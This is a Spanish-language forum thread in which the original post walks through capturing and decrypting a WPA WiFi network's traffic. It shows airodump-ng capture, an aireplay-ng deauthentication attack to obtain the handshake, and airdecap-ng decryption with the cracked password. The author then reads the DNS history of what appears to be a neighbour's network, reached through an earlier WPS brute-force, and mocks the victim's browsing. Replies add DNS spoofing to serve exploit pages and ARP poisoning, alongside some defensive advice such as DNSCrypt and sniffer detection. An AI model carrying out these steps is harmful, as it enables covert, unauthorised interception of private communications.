Capturando el tráfico de una red WiFi como un ninja
(http://rq87.flyingomelette.com/RQ/SS/Revenge%20of%20Shinobi%20shrine.jpg)
Una de las cosas que más nos debería preocupar cuando tenemos a un intruso en nuestra red de confianza (Red local de casa, del trabajo, etc.) es que capture el tráfico y lo analice, de forma que pueda controlar lo que estamos haciendo.
Una vez invadida una red WiFi podríamos intentar capturar tráfico con
tcpdump, pero no tendríamos los resultados esperados. Una buena forma de hacerlo sería redirigir todo el tráfico de la red a nuestro equipo para poder analizarlo, pero ésto podría disparar varias alarmas.
The quieter you become, the more you are able to hearEl lema de
BackTrack es lo que nos trae a buscar procedimientos más silenciosos, así que... ¿Cómo podemos capturar el tráfico de la red sin llamar la atención?
La respuesta es, como siempre:
DEPENDEMuchos hackers dan una respuesta muy tajante con respecto a la seguridad y el WiFi:
No lo uses, usa cable. Pero ¿por qué son tan tajantes?
Algunos se amparan en la lógica de la velocidad de red. Está muy bien que con las redes WiFi N alcances 150Mbps, o que los 450Mbps con wifi a 5GHz, pero sigue siendo
menos que la mitad que las redes Gigabit. Coherente, lógico y correcto. En eso es mejor el cable que el WiFi. ¿Pero qué más?
Seguridad. Utilizar WiFi es jugar con fuego bajo determinadas circunstancias, ya que el tráfico de la red se puede capturar
sin estar conectado a la red (Cualquiera que sepa levantar claves WEP habrá capturado muchísimo tráfico antes de conocer la contraseña)Una vez sabida la contraseña podríamos intentar descifrar todo el tráfico capturado para su posterior análisis en Ethereal. Pero en las redes WPA no es tan sencillo. Es muy fácil, pero no tanto.
¿Cómo se crackea una clave WPA?No lo voy a explicar aquí en detalle, éso debéis estudiarlo en otros posts. Necesitamos llegar aquí sabiendo que necesitamos capturar el
handshake de un cliente autenticado para hacerle un ataque por diccionario,
hasta que el archivo se descifra correctamente y obtenemos el positivo.
Por esa regla de tres podemos deducir que si tenemos el handshake y la contraseña podemos descifrar los paquetes capturados para analizarlos después. Y para eso
no necesitamos estar conectados a la red, sólo tener
nuestra antena WiFi a la escucha.
El otro día estuve jugando con
ataques de fuerza bruta contra WPS (https://underc0de.org/foro/wireless/atacando-por-fuerza-bruta-contra-wi-fi-protected-setup-%28wps%29/) con un resultado fructífero. Usaré ese AP a modo de
dummy.
(Nota: Los posibles datos identificativos han sido editados)root@kali:/home/rand0m/neighbor# airodump-ng -w ahorateveo --bssid D8:61:FF:FF:FF:FF --essid VodafoneFFFF --channel 7 --output-format pcap -a wlan0mon
Lanzamos airodump-ng con los parámetros
bssid y
essid para filtrar sólo el tráfico de la red que nos interesa. Además le decimos que nos guarde el archivo
ahorateveo en formato
pcap.
CH 7 ][ Elapsed: 0 s ][ 2015-08-18 22:07
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
D8:61:FF:FF:FF:FF -81 100 40 0 0 7 54e WPA CCMP PSK VodafoneFFFF
BSSID STATION PWR Rate Lost Frames Probe
De primeras tenemos nuestra antena a la escucha y filtrando los paquetes de la red que queremos. Ahora necesitamos el handshake, así que lanzamos el ataque DEAUTH con
aireplay-ng.
root@kali:/home/rand0m/neighbor# aireplay-ng -0 0 -a D8:61:FF:FF:FF:FF wlan0mon
22:10:30 Waiting for beacon frame (BSSID: D8:61:FF:FF:FF:FF) on channel 7
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
22:10:31 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:32 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:32 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:33 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:33 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:34 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:34 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:34 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:35 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
22:10:35 Sending DeAuth to broadcast -- BSSID: [D8:61:FF:FF:FF:FF]
Hasta que conseguimos lo que queríamos: El
WPA handshake.
CH 7 ][ Elapsed: 5 mins ][ 2015-08-18 22:12 ][ WPA handshake: D8:61:FF:FF:FF:FF
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
D8:61:FF:FF:FF:FF -81 100 40 0 0 7 54e WPA CCMP PSK VodafoneFFFF
BSSID STATION PWR Rate Lost Frames Probe
D8:61:FF:FF:FF:FF 18:83:FF:FF:FF:FF -74 1e- 6 0 4019 VodafoneFFFF
Ahora lo dejamos a la escucha y nos olvidamos. Vamos a dejarlo capturando unas horas y luego veremos qué nos encontramos.
Cuando tenemos un buen pino ya podemos ponernos a estudiar los datos recopilados.
CH 7 ] 9 hours 55 mins ][ 2015-08-19 08:02 ][ WPA handshake: D8:61:FF:FF:FF:FF
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
D8:61:FF:FF:FF:FF -82 96 298434 99355 0 7 54e WPA CCMP PSK VodafoneFFFF
BSSID STATION PWR Rate Lost Frames Probe
D8:61:FF:FF:FF:FF 18:83:FF:FF:FF:FF -75 1e- 6 0 1365 VodafoneFFFF
Ahora, para descifrarlo, usaremos la herramienta
airdecap-ng, que viene con la suite de
aircrack-ng.
root@kali:/home/rand0m/neighbor# airdecap-ng -e VodafoneFFFF -b D8:61:FF:FF:FF:FF -p Underc0de ahorateveo-01.cap
Total number of packets read 2532614
Total number of WEP data packets 0
Total number of WPA data packets 93405
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 79414
Esto nos generará el archivo
ahorateveo-01-dec.cap con los paquetes descifrados. Ya sólo nos queda abrirlo en Wireshark para poder analizar los datos recopilados.
Por ejemplo, viendo las consultas DNS realizadas podemos ver por dónde estuvo navegando.
(http://anonpix.com/images/2015/08/19/agDv.png)
Y podemos ver que es un chico malo malo que navega por piratebay y por páginas golfas. Lo típico que hace alguien relajándose
mientras no hay nadie mirando, pero ¿cuántas veces creemos que no nos observan
mientras sí lo hacen?
Además, como hablábamos al principio,
los paquetes se capturaron del aire.
No estoy conectado a la red, sólo conozco la contraseña.NO aparezco conectado a su red.
NO aparezco enviando tráfico sospechoso. Sólo
escucho, descifro y analizo.
The quieter you become, the more you are able to hear
**
by rand0m para Underc0de - Distribuido bajo licenicia CC-BY 4.0 (http://creativecommons.org/licenses/by/4.0/) (Click para ver los detalles).
Excelente aporte @rand0m (https://underc0de.org/foro/index.php?action=profile;u=44477)! realmente da gusto leer tus posts! +1
Saludos!
WhiZ
P.D.: dejo todo como estaba.
Muy bueno
@rand0m (https://underc0de.org/foro/index.php?action=profile;u=44477) como siempre !!
Citar
Muchos hackers dan una respuesta muy tajante con respecto a la seguridad y el WiFi: No lo uses, usa cable. Pero ¿por qué son tan tajantes?
Algunos se amparan en la lógica de la velocidad de red. Está muy bien que con las redes WiFi N alcances 150Mbps, o que los 450Mbps con wifi a 5GHz, pero sigue siendo menos que la mitad que las redes Gigabit. Coherente, lógico y correcto. En eso es mejor el cable que el WiFi. ¿Pero qué más?
Pues en efecto tienes razon, las redes cableadas ofrecen mayores velocidades, pero son pocos flexibles, y la verdad no soportan mucha escalabilidad, ademas de las fallas inherentes a su forma fisica (cables dañados, diafonias por induccion, etc..) que son un poco mas seguras...
Pues como tu dices, eso depende. ::)
Ahora surge la pregunta:
¿Como evitar que rand0m alguien sepa los sitios que visito?Pues si bien es cierto que la mayoria de los sitios web que visitamos cifran las comunicaciones de extremo a extremo (saber que tambien esto se vulnera con SSL_Trip) tambien es cierto que las consultas DNS van sin cifrar y en texto planito incluso cuando usamos HTTPS ó alguna VPN, la solucion... Instalar y configurar algun servicio de cifrado para las consultas DNS, mi recomendacion
DNSCrypt existen mas alternativas por ahi, pero yo confio mas en la gente de OpenDNS.
Saludos por alla.
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Pues si bien es cierto que la mayoria de los sitios web que visitamos cifran las comunicaciones de extremo a extremo (saber que tambien esto se vulnera con SSL_Trip)
Supongo que te refieres al ataque
sslstrip, que ya es un ataque
MITM y no podríamos hacerlo capturando el tráfico con
airodump-ng. Tendríamos que estar conectados a la red, por lo que ya
no sería tan ninja.
Otra cosa que podría hacer, desplegando un ataque más complejo y que no trataremos aquí, sería
reconfigurar el DHCP del router
para que los clientes resuelvan sus consultas DNS en un servidor bajo mi control. También sería muy sigiloso, pero creo que
el método menos ruidoso para capturar tráfico en una red es el expuesto en este post.
Aunque abramos el debate:
¿Es efectivamente el método de sniff más difícil de detectar?
¿Cuál sería el más sigiloso para capturar tráfico a través del cable?
Citar¿Es efectivamente el método de sniff más difícil de detectar?
Pues esnifar una red inalambrica siempre sera mas silencioso, pero jamas debemos pensar que sera totoalmente invisible, usando una que otra herramienta es posible detectar al espia, kismet por ejemplo puede generar alertas cuando algun NIC se comporte en modo ectraño, tambien existen herramientas de pago para detectar espias y/o tarjetas que esten esnifando. Pero en resumen creo que la respuesta seria: Si, esnifar una red inalambrica es mas dificil de detectar.
Citar¿Cuál sería el más sigiloso para capturar tráfico a través del cable?
Pues en el caos de una red no conmutada esnifar no supone ningun problema, tampoco generariamos ruido al hacerlo, simplemente es sentarse a esperar las tramas que lleguen, pero ya cuando estamos conectamos a un entorno conmutado las cosas se ponen un poco mas dificiles, es decir ó nos hacemos notar ó no esnifamos.
Para esnifar en una red conmutada necesitamos:
MAC Spoofing.
Desbordamiento de la tabla de direcciones MAC ó cualquier otra jugada.
El asunto es que esto genera ruidos y hace saltar las alarmas de cualquier red configurada decentemente. Una forma de hacerlo sin levantar sospechas es como comentas mas arriba, modificar la informacion que proporciona DHCP a los terminales y cambiar el servidor DNS (DNS Spoofing), pero no seria efectivo en terminales que tengan el direccionamiento estatico.
Saludos hermano.
@rand0m (https://underc0de.org/foro/index.php?action=profile;u=44477) , como dijo @WhiZ (https://underc0de.org/foro/index.php?action=profile;u=21214) da gusto leer tus aportes!, sigue asi compañero.
Saludos!
Como me refería a capturar el tráfico de un equipo conectado por cable desde mi antena wifi estamos ante una red conmutada, así que se nos plantea lo siguiente:
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Para esnifar en una red conmutada necesitamos:
MAC Spoofing.
Desbordamiento de la tabla de direcciones MAC ó cualquier otra jugada.
El asunto es que esto genera ruidos y hace saltar las alarmas de cualquier red configurada decentemente. Una forma de hacerlo sin levantar sospechas es como comentas mas arriba, modificar la informacion que proporciona DHCP a los terminales y cambiar el servidor DNS (DNS Spoofing), pero no seria efectivo en terminales que tengan el direccionamiento estatico.
Así que podríamos intentar reconfigurar los servidores DNS utilizados para registrar cada consulta hecha en un servidor DNS desplegado por nosotros. Además eso nos permite controlar qué respuestas se dan a cada consulta, por lo que podríamos devolver a la inocente consulta de google.es la dirección de una página que tenemos preparada con algún (O varios) exploit. Pero no funcionaría en los equipos que tengan la configuración ajustada manualmente.
Para este tipo de casos ya tendríamos que sacar la artillería e intentarlo con un
MITM por ARP Poisoning (Mi favorito), pero como comentábamos al principio
no es tan ninja, pero cuando llega la hora de ponerse serios la mejor forma de plantear un ataque efectivo, como vimos en el de
fuerza bruta contra WPS (https://underc0de.org/foro/wireless/atacando-por-fuerza-bruta-contra-wi-fi-protected-setup-%28wps%29/), es estudiar el entorno y buscar puntos débiles.
A base de capturar tráfico, analizarlo y estudiar el entorno podemos buscar indicios de algún servicio vulnerable, un mal hábito, o simplemente
el login a una página que todavía no utilice SSL para ello (Sé que parece una tontería, pero la mayoría de los usuarios utilizan la misma contraseña para todo).
Y con todo esto la conclusión a la que llegamos es que bajo determinadas circunstancias
(Este usuario utiliza todos sus equipos por wifi) el tráfico se puede interceptar y descifrar de una manera tan discreta como sintonizar nuestra antena al canal y capturando la información del aire. Eso es
peligrosísimo, y para mitigarlo se implementan SSL y TSL, que para poder vulnerar tenemos que salir de las sombras
(Conectarnos a la red) y empezar la acción. Pero eso creo que ya merece un post para él solo.
Un aporte genial, llegué buscando exactamente ésto y lo encontré con el mayor de los lujos en detalles.
¡Gracias, RAND0M!
mi problema es que mi qireshark nada mas tiene wep key decryption.es buscado como poner wap or tras pero no e tenido suerte.
No me desencripta ningún paquete :-\